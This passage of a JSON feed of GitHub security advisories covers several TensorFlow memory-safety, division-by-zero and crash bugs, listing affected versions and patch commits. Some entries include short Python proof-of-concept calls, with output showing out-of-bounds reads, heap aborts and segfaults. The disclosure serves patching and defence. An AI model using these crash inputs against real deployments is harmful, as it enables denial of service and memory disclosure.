[implementation](https://github.com/tensorflow/tensorflow/blob/57d86e0db5d1365f19adcce848dfc1bf89fdd4c7/tensorflow/core/kernels/fused_batch_norm_op.cc) fails to validate that `scale`, `offset`, `mean` and `variance` (the last two only when required) all have the same number of elements as the number of channels of `x`. This results in heap out of bounds reads when the buffers backing these tensors are indexed past their boundary.\n\nIf the tensors are empty, the validation mentioned in the above paragraph would also trigger and prevent the undefined behavior.\n\n### Patches\nWe have patched the issue in GitHub commit [6972f9dfe325636b3db4e0bc517ee22a159365c0](https://github.com/tensorflow/tensorflow/commit/6972f9dfe325636b3db4e0bc517ee22a159365c0).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:26:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9xh4-23q4-v6wr","https://nvd.nist.gov/vuln/detail/CVE-2021-29583","https://github.com/tensorflow/tensorflow/commit/6972f9dfe325636b3db4e0bc517ee22a159365c0","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-511.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-709.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-220.yaml","https://github.com/advisories/GHSA-9xh4-23q4-v6wr"],"source_kind":"github","identifiers":["GHSA-9xh4-23q4-v6wr","CVE-2021-29583"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.074Z","updated_at":"2024-11-13T15:59:11.000Z","epss_percentage":0.00018,"epss_percentile":0.03014},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWM5ZjMtOXdmci13Z2g3","url":"https://github.com/advisories/GHSA-c9f3-9wfr-wgh7","title":"Lack of validation in data format attributes in TensorFlow","description":"### Impact\nThe `tf.raw_ops.DataFormatVecPermute` API does not validate the `src_format` and `dst_format` attributes. [The code](https://github.com/tensorflow/tensorflow/blob/304b96815324e6a73d046df10df6626d63ac12ad/tensorflow/core/kernels/data_format_ops.cc) assumes that these two arguments define a permutation of `NHWC`.\n\nHowever, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.\n\n```python\n\u003e\u003e\u003e import tensorflow as tf\n\u003e\u003e\u003e tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')\n\u003ctf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)\u003e\n...\n\u003e\u003e\u003e tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')\n\u003ctf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)\u003e\n...\n\u003e\u003e\u003e tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')\n\u003ctf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)\u003e\n\u003e\u003e\u003e tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], \n                                    src_format='1234', dst_format='1253')\n\u003ctf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)\u003e\n...\n\u003e\u003e\u003e tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],\n                                    src_format='1234', dst_format='1223')\n\u003ctf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)\u003e\n...\n\u003e\u003e\u003e tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],\n                                    src_format='1224', dst_format='1423')\n\u003ctf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)\u003e\n...\n\u003e\u003e\u003e tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')\n\u003ctf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)\u003e\n...\n\u003e\u003e\u003e tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],\n                                    src_format='12345678', dst_format='87654321')\nmunmap_chunk(): invalid pointer\nAborted\n...\n\u003e\u003e\u003e tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],           \n                                    src_format='12345678', dst_format='87654321')\n\u003ctf.Tensor: shape=(4, 2), dtype=int32, numpy=\narray([[71364624,        0],\n       [71365824,        0],\n       [     560,        0],\n       [      48,        0]], dtype=int32)\u003e\n...\n\u003e\u003e\u003e tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], \n                                    src_format='12345678', dst_format='87654321')\nfree(): invalid next size (fast)\nAborted\n```\n\nA similar issue occurs in `tf.raw_ops.DataFormatDimMap`, for the same reasons:\n\n```python\n\u003e\u003e\u003e tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',\n\u003e\u003e\u003e dst_format='8765')\n\u003ctf.Tensor: shape=(4, 2), dtype=int32, numpy=\narray([[1954047348, 1954047348],\n       [1852793646, 1852793646],\n       [1954047348, 1954047348],\n       [1852793632, 1852793632]], dtype=int32)\u003e\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ebc70b7a592420d3d2f359e4b1694c236b82c7ae](https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\nSince this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2020-12-10T19:07:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.1,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-c9f3-9wfr-wgh7","https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae","https://nvd.nist.gov/vuln/detail/CVE-2020-26267","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-298.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-333.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-140.yaml","https://github.com/advisories/GHSA-c9f3-9wfr-wgh7"],"source_kind":"github","identifiers":["GHSA-c9f3-9wfr-wgh7","CVE-2020-26267"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":10.222362081426269,"packages":[{"versions":[{"first_patched_version":"2.3.2","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.2"},{"first_patched_version":"2.2.2","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.2"},{"first_patched_version":"2.1.3","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.3"},{"first_patched_version":"2.0.4","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.4"},{"first_patched_version":"1.15.5","vulnerable_version_range":"\u003c 1.15.5"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.2","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.2"},{"first_patched_version":"2.2.2","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.2"},{"first_patched_version":"2.1.3","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.3"},{"first_patched_version":"2.0.4","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.4"},{"first_patched_version":"1.15.5","vulnerable_version_range":"\u003c 1.15.5"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.2","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.2"},{"first_patched_version":"2.2.2","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.2"},{"first_patched_version":"2.1.3","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.3"},{"first_patched_version":"2.0.4","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.4"},{"first_patched_version":"1.15.5","vulnerable_version_range":"\u003c 1.15.5"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:12.617Z","updated_at":"2024-10-28T20:02:35.000Z","epss_percentage":0.00044,"epss_percentile":0.1243},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWo3cm0tOHd3NC14eDJn","url":"https://github.com/advisories/GHSA-j7rm-8ww4-xx2g","title":"Division by zero in TFLite's implementation of `SpaceToDepth`","description":"### Impact\nThe `Prepare` step of the `SpaceToDepth` TFLite operator [does not check for 0 before division](https://github.com/tensorflow/tensorflow/blob/5f7975d09eac0f10ed8a17dbb6f5964977725adc/tensorflow/lite/kernels/space_to_depth.cc#L63-L67).\n\n```cc \nconst int block_size = params-\u003eblock_size;\nconst int input_height = input-\u003edims-\u003edata[1];\nconst int input_width = input-\u003edims-\u003edata[2];\nint output_height = input_height / block_size;\nint output_width = input_width / block_size;\n```   \n\nAn attacker can craft a model such that `params-\u003eblock_size` would be zero.\n\n### Patches\nWe have patched the issue in GitHub commit [0d45ea1ca641b21b73bcf9c00e0179cda284e7e7](https://github.com/tensorflow/tensorflow/commit/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:26:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j7rm-8ww4-xx2g","https://nvd.nist.gov/vuln/detail/CVE-2021-29587","https://github.com/tensorflow/tensorflow/commit/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7","https://github.com/tensorflow/tensorflow/blob/5f7975d09eac0f10ed8a17dbb6f5964977725adc/tensorflow/lite/kernels/space_to_depth.cc#L63-L67","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-515.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-713.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-224.yaml","https://github.com/advisories/GHSA-j7rm-8ww4-xx2g"],"source_kind":"github","identifiers":["GHSA-j7rm-8ww4-xx2g","CVE-2021-29587"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":11.195920374895437,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.110Z","updated_at":"2024-11-13T16:01:46.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTI2ajctNnc4dy03OTIy","url":"https://github.com/advisories/GHSA-26j7-6w8w-7922","title":"Division by zero in optimized pooling implementations in TFLite","description":"### Impact\nOptimized pooling implementations in TFLite fail to check that the stride arguments are not 0 before calling [`ComputePaddingHeightWidth`](https://github.com/tensorflow/tensorflow/blob/3f24ccd932546416ec906a02ddd183b48a1d2c83/tensorflow/lite/kernels/pooling.cc#L90).\n\nSince users can craft special models which will have `params-\u003estride_{height,width}` be zero, this will result in a division by zero.\n                          \n### Patches\nWe have patched the issue in GitHub commit [5f7975d09eac0f10ed8a17dbb6f5964977725adc](https://github.com/tensorflow/tensorflow/commit/5f7975d09eac0f10ed8a17dbb6f5964977725adc).\n      \nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n      \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:26:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-26j7-6w8w-7922","https://nvd.nist.gov/vuln/detail/CVE-2021-29586","https://github.com/tensorflow/tensorflow/commit/5f7975d09eac0f10ed8a17dbb6f5964977725adc","https://github.com/tensorflow/tensorflow/blob/3f24ccd932546416ec906a02ddd183b48a1d2c83/tensorflow/lite/kernels/pooling.cc#L90","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-514.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-712.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-223.yaml","https://github.com/advisories/GHSA-26j7-6w8w-7922"],"source_kind":"github","identifiers":["GHSA-26j7-6w8w-7922","CVE-2021-29586"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":11.195920374895437,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.102Z","updated_at":"2024-11-13T16:01:11.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1mZzcteDVtNy02cDh3","url":"https://github.com/advisories/GHSA-mfg7-x5m7-6p8w","title":"NULL Pointer Dereference in Google TensorFlow","description":"NULL pointer dereference in Google TensorFlow before 1.12.1 could cause a denial of service via an invalid GIF file.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2019-04-30T15:37:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-9635","https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2019-001.md","https://github.com/tensorflow/tensorflow/commit/e41cb124cd0b325821af85cdacd9d8a12e206418","https://github.com/advisories/GHSA-mfg7-x5m7-6p8w","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2019-228.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2019-235.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2019-210.yaml"],"source_kind":"github","identifiers":["GHSA-mfg7-x5m7-6p8w","CVE-2019-9635"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"1.12.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.12.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"1.12.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.12.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:30.268Z","updated_at":"2024-10-28T14:27:40.000Z","epss_percentage":0.00119,"epss_percentile":0.31507},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXhxZmotY3I2cS1wYzh3","url":"https://github.com/advisories/GHSA-xqfj-cr6q-pc8w","title":"Crash in `tf.transpose` with complex inputs","description":"### Impact\nPassing a complex argument to `tf.transpose` at the same time as passing `conjugate=True` argument results in a crash:\n\n```python \nimport tensorflow as tf\ntf.transpose(conjugate=True, a=complex(1))\n```\n\n### Patches\nWe have received a patch for the issue in GitHub commit [1dc6a7ce6e0b3e27a7ae650bfc05b195ca793f88](https://github.com/tensorflow/tensorflow/commit/1dc6a7ce6e0b3e27a7ae650bfc05b195ca793f88).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported in [#42105](https://github.com/tensorflow/issues/42105) and fixed in [#46973](https://github.com/tensorflow/issues/46973).","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:28:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xqfj-cr6q-pc8w","https://nvd.nist.gov/vuln/detail/CVE-2021-29618","https://github.com/tensorflow/tensorflow/commit/1dc6a7ce6e0b3e27a7ae650bfc05b195ca793f88","https://github.com/tensorflow/issues/42105","https://github.com/tensorflow/issues/46973","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-546.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-744.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-255.yaml","https://github.com/advisories/GHSA-xqfj-cr6q-pc8w"],"source_kind":"github","identifiers":["GHSA-xqfj-cr6q-pc8w","CVE-2021-29618"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.546Z","updated_at":"2024-11-13T16:29:19.000Z","epss_percentage":0.0005,"epss_percentile":0.15488},{"uuid":"GSA_kwCzR0hTQS1tdjc3LTlnMjgtY3dnM84AAv_E","url":"https://github.com/advisories/GHSA-mv77-9g28-cwg3","title":"`CHECK` fail via inputs in `PyFunc`","description":"### Impact\nAn input `token` that is not a UTF-8 bytestring will trigger a `CHECK` fail in [`tf.raw_ops.PyFunc`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/python/lib/core/py_func.cc).\n\n```python\nimport tensorflow as tf\n\nvalue = tf.constant(value=[1,2])\ntoken = b'\\xb0'\ndataType = [tf.int32]\n\ntf.raw_ops.PyFunc(input=value,token=token,Tout=dataType)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [9f03a9d3bafe902c1e6beb105b2f24172f238645](https://github.com/tensorflow/tensorflow/commit/9f03a9d3bafe902c1e6beb105b2f24172f238645).\n\nThe fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by pattarakritr@smu.edu.sg\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-11-21T22:09:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mv77-9g28-cwg3","https://nvd.nist.gov/vuln/detail/CVE-2022-41908","https://github.com/tensorflow/tensorflow/commit/9f03a9d3bafe902c1e6beb105b2f24172f238645","https://github.com/tensorflow/tensorflow/blob/master/tensorflow/python/lib/core/py_func.cc","https://github.com/advisories/GHSA-mv77-9g28-cwg3"],"source_kind":"github","identifiers":["GHSA-mv77-9g28-cwg3","CVE-2022-41908"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"\u003e= 2.10.0, \u003c 2.10.1"},{"first_patched_version":"2.9.3","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.3"},{"first_patched_version":"2.8.4","vulnerable_version_range":"\u003c 2.8.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"\u003e= 2.10.0, \u003c 2.10.1"},{"first_patched_version":"2.9.3","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.3"},{"first_patched_version":"2.8.4","vulnerable_version_range":"\u003c 2.8.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"\u003e= 2.10.0, \u003c 2.10.1"},{"first_patched_version":"2.9.3","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.3"},{"first_patched_version":"2.8.4","vulnerable_version_range":"\u003c 2.8.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:49.929Z","updated_at":"2023-02-01T05:03:58.000Z","epss_percentage":0.00226,"epss_percentile":0.45325},{"uuid":"GSA_kwCzR0hTQS1yang2LXY0NzQtMmNoOc4AAv_F","url":"https://github.com/advisories/GHSA-rjx6-v474-2ch9","title":"Segfault in `CompositeTensorVariantToComponents`","description":"### Impact\nAn input `encoded` that is not a valid `CompositeTensorVariant` tensor will trigger a segfault in [`tf.raw_ops.CompositeTensorVariantToComponents`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/python/lib/core/py_func.cc).\n\n```python\nimport tensorflow as tf\n\nencode = tf.raw_ops.EmptyTensorList(element_dtype=tf.int32, element_shape=[10, 15], max_num_elements=2)\nmeta= \"\"\ncomponent=[tf.int32]\n\nprint(tf.raw_ops.CompositeTensorVariantToComponents(encoded=encode,metadata=meta,Tcomponents=component))\n```\n\n### Patches\nWe have patched the issue in GitHub commits [bf594d08d377dc6a3354d9fdb494b32d45f91971](https://github.com/tensorflow/tensorflow/commit/bf594d08d377dc6a3354d9fdb494b32d45f91971) and [660ce5a89eb6766834bdc303d2ab3902aef99d3d](https://github.com/tensorflow/tensorflow/commit/660ce5a89eb6766834bdc303d2ab3902aef99d3d).\n\nThe fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by 